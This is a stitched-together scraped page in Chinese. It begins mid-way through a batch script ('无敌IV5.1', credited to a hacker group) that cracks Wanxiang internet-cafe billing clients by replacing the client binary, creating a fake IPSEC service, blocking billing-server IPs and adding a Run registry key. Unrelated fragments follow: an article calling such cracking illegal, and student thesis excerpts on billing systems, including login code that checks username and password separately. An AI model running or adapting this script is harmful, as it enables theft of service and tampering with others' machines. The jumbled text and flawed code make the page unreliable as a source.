%myfiles%\winipsec.dll>nuldel %myfiles%\wx32.dll>nuldel %myfiles%\wxman.dll>nulpauseexit::判断破解版本:Mainclsecho.echo -------------------------------------------------- echo -= 无敌IV5.1 =-echo.echo by 源始语言echo.echo 汕尾黑客联盟echo [url][/url]echo --------------------------------------------------echo.&echo.echo 1、万象2.0以下echo.echo 2、万象2.X系列echo.echo 3、万象3.X系列echo.&echo.echo__________________________________________________echo.set /p pjbb= 输要破解的版本代码(选1/2/3 退出直接回车):if "%pjbb%"=="1" goto WX2004if "%pjbb%"=="2" goto WX2006if "%pjbb%"=="3" goto WX2008if defined pjbb goto Maindel %myfiles%\ipseccmd.exe>nuldel %myfiles%\winipsec.dll>nuldel %myfiles%\wx32.dll>nuldel %myfiles%\wxman.dll>nulexit:WX2004ren c:\windows\system32\clsmn.exe Clsmn_.exe%myfiles%\wxman.dll e -o+ %myfiles%\wx32.dll wx2004.exe c:\windows\system32\>nulping -n 1 127.1>nulren c:\windows\system32\Wx2004.exe Clsmn.exegoto Ipsecsvr:WX2006ren c:\windows\system32\clsmn.exe Clsmn_.exe%myfiles%\wxman.dll e -o+ %myfiles%\wx32.dll wx2006.exe c:\windows\system32\>nulping -n 1 127.1>nulren c:\windows\system32\Wx2006.exe Clsmn.exegoto Ipsecsvr:WX2008ren c:\windows\system32\clsmn.exe Clsmn_.exe%myfiles%\wxman.dll e -o+ %myfiles%\wx32.dll wx2008.exe c:\windows\system32\>nulping -n 1 127.1>nulren c:\windows\system32\Wx2008.exe Clsmn.exegoto Ipsecsvr::启动IPSEC服务:Ipsecsvrsc create PolicyAgent binpath= "C:\WINDOWS\system32\lsass.exe" type= share start= auto displayname= "IPSEC Services" depend= RPCSS/IPSecsc config policyagent start= Autosc start policyagentreg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet EXPlorer\Main" /v "Start Page" /freg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "" /freg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Swhklm" /d "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE[url][/url]" /fgoto NetstatIP::自动模式:NetstatIPecho.echo 创建IP策略:NetstatIP...for /f "skip=4 tokens=3 delims= " %%a in ('netstat -an') do (for /f "tokens=1 delims=" %%i in ('call echo %%a^|find "11011"') do echo %%i)>>%myfiles%\netstat.txtfor /f "delims=:" %%q in (%myfiles%\netstat.txt) do (set clsmnip=%%q)del %myfiles%\netstat.txtping -n 1 127.1>nul%myfiles%\ipseccmd -w REG -p "NetstatIP" -r "NetstatIP"-f %clsmnip%/255.255.255.255=0/255.255.255.255:: -n BLOCK -x>nulping -n 1 127.1>nulgoto ERW:ServerIPecho.echo 创建IP策略:ServerIP...for /f "skip=1 tokens=3 delims= " %%a in ('reg queryHKEY_CURRENT_USER\Software\Sicent\wx2004Clt /v ServerIP') do (set ServerIP=%%a)%myfiles%\ipseccmd -w REG -p "ServerIP" -r "ServerIP"-f %ServerIP%/255.255.255.255=0/255.255.255.255:: -n BLOCK -x>nulping -n 1 127.1>nulgoto ERE:FeeSvrIPecho.echo 创建IP策略:FeeSvrIP...for /f "skip=1 tokens=3 delims= " %%a in ('reg queryHKEY_CURRENT_USER\Software\Sicent\wx2004Clt /v FeeSvrIP') do (set FeeSvrIP=%%a)%myfiles%\ipseccmd -w REG -p "FeeSvrIP" -r "FeeSvrIP"-f %FeeSvrIP%/255.255.255.255=0/255.255.255.255:: -n BLOCK -x>nul ping -n 1 127.1>nulgoto ERR::检测离线状态:ERWclsecho.echo --------------------------------------------------echo -= 无敌IV5.1 =-echo.echo by 源始语言echo.echo 汕尾黑客联盟echo [url][/url]echo --------------------------------------------------echo.&echo.echo 现在请查看:我上了多久echo.set /p queryw= 是否能够查到余额(y/n):if "%queryw%"=="y" goto ServerIPif "%queryw%"=="n" goto CGPJif defined queryw goto ERWgoto ERW:EREclsecho.echo --------------------------------------------------echo -= 无敌IV5.1 =-echo.echo by 源始语言echo.echo 汕尾黑客联盟echo [url][/url]echo --------------------------------------------------echo.&echo.echo 现在请查看:我上了多久echo.set /p querye= 是否能够查到余额(y/n):if "%querye%"=="y" goto FeeSvrIPif "%querye%"=="n" goto CGPJif defined querye goto EREgoto ERE:ERRclsecho.echo -------------------------------------------------- echo -= 无敌IV5.1 =-echo.echo by 源始语言echo.echo 汕尾黑客联盟echo [url][/url] echo -------------------------------------------------- echo.&echo.echo 现在请查看:我上了多久echo.set /p queryr= 是否能够查到余额(y/n):if "%queryr%"=="y" goto SRIPif "%queryr%"=="n" goto CGPJif defined queryr goto ERRgoto ERR:ERRzclsecho.echo -------------------------------------------------- echo -= 无敌IV5.1 =-echo.echo by 源始语言echo.echo 汕尾黑客联盟echo [url][/url] echo -------------------------------------------------- echo.&echo.echo 现在请查看:我上了多久echo.set /p queryz= 是否能够查到余额(y/n):if "%queryz%"=="y" goto ERRaif "%queryz%"=="n" goto CGPJif defined queryz goto ERRzgoto ERRz:ERRaecho.&echo.set /p querya= 请确认输入的主机IP是否正确(y/n):if "%querya%"=="y" goto SBPJif "%querya%"=="n" goto SRIPbif defined querya goto ERRagoto ERRa::手动模式:SRIPclsecho.echo --------------------------------------------------echo -= 无敌IV5.1 =-echo.echo by 源始语言echo.echo 汕尾黑客联盟echo [url][/url]echo --------------------------------------------------echo.&echo.echo 自动离线失败echo.set /p ifsrip= 是否手动输入主机IP(y/n):if "%ifsrip%"=="y" goto SRIPbif "%ifsrip%"=="n" goto SBPJif defined ifsrip goto SRIPgoto SRIP:SRIPbecho.&echo.set /p srip= 请输入主机IP:echo.set /p srip= 确认主机IP:%myfiles%\ipseccmd -w REG -p "disable wx ip" -r "disable connect ip" -f %srip%/255.255.255.255=0/255.255.255.255:: -n BLOCK -xping -n 1 127.1>nulgoto ERRz::失败提示:SBPJclsecho.echo -------------------------------------------------- echo -= 无敌IV5.1 =-echo.echo by 源始语言echo.echo 汕尾黑客联盟echo [url][/url]echo -------------------------------------------------- echo.&echo.echo 离线失败echo.echo 本机使用了IPX协议,请手动破解echo.echo 或其它原因,不适合使用本工具echo.del %myfiles%\ipseccmd.exe>nuldel %myfiles%\winipsec.dll>nuldel %myfiles%\wx32.dll>nuldel %myfiles%\wxman.dll>nuldel c:\windows\system32\clsmn.exe>nulren c:\windows\system32\clsmn_.exe clsmn.exe>nul pauseexit::成功提示:CGPJclsecho.echo -------------------------------------------------- echo -= 无敌IV5.1 =-echo.echo by 源始语言echo.echo 汕尾黑客联盟echo [url][/url]echo -------------------------------------------------- echo.&echo.echo 破解成功,注销后万象登录界面回车即可echo.&echo.del %myfiles%\ipseccmd.exe>nuldel %myfiles%\winipsec.dll>nuldel %myfiles%\wx32.dll>nuldel %myfiles%\wxman.dll>nulpauseshutdown -lexit[/color][b][color=Red]声明:把原代码发出来不是让大家学习破解而是想方法修补漏洞、谢谢![/color][/b]没有人关注、哎世态炎凉感谢。
网吧破解1. 简介网吧破解是指绕过网吧对上网时间和费用的限制,与常规的上网行为不同。
在某些情况下,用户可能不希望受到网吧的限制,或者是为了省去上网费用,因此需要进行网吧破解操作。
然而,网吧破解是非法的行为,违反了网络使用规定和相关法律法规。
2. 网吧破解方法的种类2.1 修改网吧客户端修改网吧客户端是一种常见的网吧破解方法。
网吧客户端通常会对用户上网时间和费用进行监控和控制。
通过修改网吧客户端,可以绕过这些限制。
具体的修改方法包括:•修改客户端配置文件:通过修改客户端的配置文件,可以伪造上网时间和费用信息,使得用户看起来没有达到限制。
•卸载或终止客户端进程:某些网吧客户端在用户登录后会启动并运行,监控用户的上网行为。
通过卸载或终止客户端进程,可以绕过监控和控制。
2.2 使用破解工具除了修改网吧客户端,还可以使用一些专门的破解工具来进行网吧破解。
这些工具通常是由黑客开发,用于绕过网吧的限制。
常见的破解工具包括:•上网时间破解工具:这类工具可以修改系统时间或者欺骗服务器,通过改变电脑时间来欺骗网吧系统,使得用户可以超过限制时间继续上网。
•上网费用破解工具:这类工具可以修改网吧计费软件或者网络流量统计软件,使其无法正确记录用户的上网费用,从而达到减免上网费用的目的。
3. 网吧破解的危害网吧破解不仅违法,而且还存在一定的危害性。
以下是网吧破解可能产生的危害:•法律风险:网吧破解是非法行为,一旦被发现,将可能面临法律追究和惩罚,甚至被判刑。
•网络安全风险:通过修改网吧客户端或者使用破解工具,可能会对网络安全造成威胁,例如黑客利用这些漏洞进行攻击,并窃取用户的个人信息和账户信息。
•道德风险:网吧破解违背了道德原则和伦理约束,不尊重网络使用规定和他人权益,给他人和社会带来了负面影响。
4. 如何避免网吧破解为了避免网吧破解行为的发生,网吧经营者和用户可以采取以下措施:•网吧经营者应加强对网吧客户端的安全性控制,确保其不易被破解和修改。
网吧计费管理系统设计与实现学院: 信息科学与技术学院年级: 软件二班专业: 计算机软件工程学号: 001学生姓名: 张喆指导教师: 边雪芬IIII摘要计算机已经得到了相当一部分城市化的普及,但也只是与信息时代接轨的最基础工具,还要配上网络才可以完全联系上数字化、网络化的概念。
至于网络的问题就不得不说宽带这个概念,小区宽带、ADSL都是为了实现网络化而产生的宽带形势。
但是他们的普及率并不高,依然不能达到每一个又计算机的人就可以利用计算机进行上网,不能发挥这块敲门砖的作用。
于是,为了解决这个问题,让大多数人可以提前适应这个年代的步伐,在学校、公司、以及外围的商业(网吧就是其一)设施都开市派生出一个拥有几十台、上百台的计算机机房。
为了解决大型机房的管理问题,这款机房多功能管理系统诞生了,它可以方便对大型机房的管理,方便这些档案的记录和往后的查询,还可以随时随地进行备份,保证查询历史纪录时,导入备份文件。
还可以为客户提供经济方便的会员服务,以满足那些长时间上机用户的需求。
该系统采用Microsoft Visual Basic 6.0 、Microsoft Access 完成。
下面就让大家具体看看这款多功能机房系统的内容吧~关键词网吧;MicrosoftVisual Basic 6.0;Microsoft AccessIIAbstractNet Bar Time Fee Management System is a typical application of managing information system (know as MIS), which mainly includes developing the application interface of front-end and building up and maintaining the database of back-end. The former should make thefunction of application integrated and the usage is easy, the latter required a database with powerful consistency and integrality, and nice security. this sy stem mainly completes the management to net bar’s information; include six aspects such as adding, modifying, deleting, searching, printing information and the customer management. The system can complete to browse, search, add, delete, modify etc. to each kind of the function of information. The core of the system is the contact of increase, modification and delete, the modifications of each form will affect to other forms. this thesis includes requirement analysis, system function, systems design, programming and the systemtests and exists the aspects such as question etc, and comparatively systematically introduced the whole course of "Net Bar Time Fee Management System " subject development.KeywordsNet Bar;MicrosoftVisual Basic 6.0;Microsoft AccessIIII目录摘要 ..................................................................... ........................................................................ (I)ABSTRACT................................................................ ........................................................................ (II)第1章绪论 (1)1.1 系统开发背景 (1)1.2 可行性分析...............................................................................................................1 第2章系统设计 (2)2.1 系统功能分析 (2)2.2 操作流程图 (3)2.3 操作员管理功能模块 (3)2.4 用户管理功能模块 (6)2.5 计算机管理功能模块 (7)2.6 系统设计与实现.........................................................................................................7 第3章数据库设计 (9)3.1 数据库的需求分析 (9)3.2 数据库逻辑结构设计 (9)3.3 数据库的创建…………………………………………………………………………………… ………11 第4章代码设计 (12)4.1登录窗体功能的实现 (12)4.2模块功能实现的代码 (15)4.3系统管理模块界面的设计 (18)4.4系统管理界面功能实现的相关代码 (18)4.5模块功能实现.........................................................................................................21 第5章总结 (26)5.1 网吧计费系统的开发技术特点 (26)5.2 系统的不足............................................................................................................26 参考文献........................................................................................................................27 致谢 (27)IIIIII网吧计费管理系统设计与实现第1章绪论1.1系统开发背景计费管理(Accounting Management)是网络管理的重要组成部分,通过测度网络资源的利用情况,产生详尽的信息统计报告及流量对比,为管理者提供决策依据。
管理信息系统课程设计报告设计名称:网吧计费管理信息系统专业班级:信管09-1班姓名:陈生宝学号:091120126起止时间:2012.6.11-----2012.6.22成绩评定吉林建筑工程学院城建学院计算机科学与技术系一.可行性分析1. 技术可行性采用JAVA语言和SQL数据库实现,采用Power designer建模。
从技术上来说是可以实现的。
2. 经济可行性本系统采用C/S模式,使系统运行安全可靠、便于应用、可维护性好、易于进行二次开发、具有良好的扩展性,从经济上来说是可行的。
经济可行性主要依据是成本/效益分析,该系统的目标是以最低的成本,最高的效率、在最短的期限内开发出具有社区物业管理功能的系统。
3.方案可行性根据系统的分析,本软件充分从适用性出发,全面为不同的使用用户考虑。
使软件的许多功能与规则都可根据用户的习惯进行定制。
包括软件界面、操作方式、录入方式、打印格式等数据,用户均可根据个人或单位的使用爱好进行设置。
方案的实施会带来不错的效益。
二、项目进度计划编制三、系统分析1.业务流程图2.数据流程图3.数据字典四、系统设计1.总体设计图4.1 系统功能模块图4.2 卡号管理模块远程监管远程关机远程控制远程开机图4.3 远程控制模块计费模式设置按时间计费按流量计费图4.4 计费模块2.详细设计输入输出设计:代码设计:输出代码设计举例Dim db As New网吧计费管理DataContextTryDim username = (From admin In db.Table_2 _Where admin.帐号= UsernameTextBox.Text _Select admin.帐号).Single()Dim userpassword = (From admin In db.Table_2 _Where admin.密码= PasswordTextBox.Text _Select admin.密码).Single()UsernameTextBox.Text = ""PasswordTextBox.Text = ""Form1.Show()Me.Close()Catch ex As ExceptionMessageBox.Show("用户名或密码错误, 请重新输入!")UsernameTextBox.Text = ""PasswordTextBox.Text = ""End Try过程设计:对上网人员登记处理过程设计系统名:网吧计费管理信息系统数据处理名称:登记上网人员信息处理功能:有网吧管理员根据上网人员身份信息如“姓名”“编号”,“身份证号”等共同存入计算机内总编号:001编号:P0简述:上网人员登记信息输出数据流:网上登记数据,信息。